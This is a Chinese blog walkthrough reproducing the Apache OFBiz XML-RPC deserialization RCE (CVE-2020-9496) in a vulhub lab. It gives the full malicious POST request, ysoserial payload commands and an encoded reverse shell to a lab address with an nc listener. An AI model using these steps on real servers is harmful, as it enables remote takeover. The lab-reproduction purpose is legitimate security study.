美文网首页
Apache Ofbiz XMLRPC RCE漏洞(CVE-20

Apache Ofbiz XMLRPC RCE漏洞(CVE-20

作者: 5f4120c4213b | 来源:发表于2021-02-20 13:52 被阅读0次

    0x00简介

    Apache OFBiz全称是The ApacheOpen For Business Project。是开放的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新的J2EE/XML规范和技术标准,构建大中型企业级、快平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz几乎实现了所有的J2EE核心设计模式,各个模块之间的耦合比较松散,用户能够比较容易的根据自己的需要进行拆卸,非常灵活。

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    0x01漏洞概述

    Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。

    0x02影响版本

    • Apache Ofbiz:< 17.12.04

    0x03环境搭建

    1、本次环境使用vulhub搭建,在装有docker环境的虚拟机中下载

    git clone https://github.com/vulhub/vulhub.git

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    2、进入漏洞目录,使用docker-compose拉取漏洞环境,看到绿色的done表示成功

    cd vulhub/ofbiz/CVE-2020-9496/

    docker-compose up -d

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    3、在浏览器访问https://your-ip:8443/myportal/control/main访问注册页面

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    4、安装漏洞复现所需要的环境

    4.1安装java8环境

    https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统版本选择jdk下载

    4.2下载完成创建一个文件夹,把下载好的java解压到创建的文件

    mkdir /opt/java
    
    tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
    

    4.3添加Java环境变量

    vim /etc/profile

    末尾增加

    export JAVA_HOME=/opt/java/ jdk1.8.0_141
    
    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
    

    4.4添加完成后使用环境变量马上生效,刷新完成后查看java版本

    source /etc/profile
    
    java -version
    
    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    5、安装maven,使用wget下载mvn

    wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
    
    mkdir /opt/maven
    
    tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
    

    5.1配置环境变

    vim /etc/profile

    5.2在最下面增加

    export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
    
    export PATH=$MAVEN_HOME/bin:$PATH
    

    5.3添加完成后使用环境变量马上生效,刷新完成后查看maven版本

    source /etc/profile
    
    mvn -version
    
    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    0x04漏洞复现

    1、在GitHub上下载java反序列化利用工具ysoserial,

    git clone https://github.com/frohoff/ysoserial.git

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    2、进入ysoserial目录使用maven下载编译需要得包,编译成功为以下图片

    mvn clean package -DskipTests

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    3、在ysoserial目录可以看到有一个target目录,进入此目录

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    4、在页面url访问以下链接使用Burp抓包,并发送到Repeater模块

    https://your-ip:8443/webtools/control/xmlrpc

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现 Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    5、把数据包替换成以下数据包

    POST /webtools/control/xmlrpc HTTP/1.1
    
    Host: your-ip
    
    Content-Type: application/xml
    
    Content-Length: 4093
    
    <?xml version="1.0"?>
    
    <methodCall>
    
    <methodName>ProjectDiscovery</methodName>
    
    <params>
    
    <param>
    
    <value>
    
    <struct>
    
    <member>
    
    <name>test</name>
    
    <value>
    
    <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
    
    </value>
    
    </member>
    
    </struct>
    
    </value>
    
    </param>
    
    </params>
    
    </methodCall>
    

    6、使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    7、复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现 Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现 Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    8、利用漏洞反弹shell,去以下网址把反弹shellpayload进行base64编码

    http://www.jackson-t.ca/runtime-exec-payloads.html

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    9、把编码后的shell在使用ysoserial工具进行一次base64编码

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xMzIvMjI1OSAwPiYx}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    10、nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell

    Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现 Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

    0x05修复建议

    1、建议升级至最新版本

    相关文章

      网友评论

          本文标题:Apache Ofbiz XMLRPC RCE漏洞(CVE-20

          本文链接:https://www.haomeiwen.com/subject/qygtfltx.html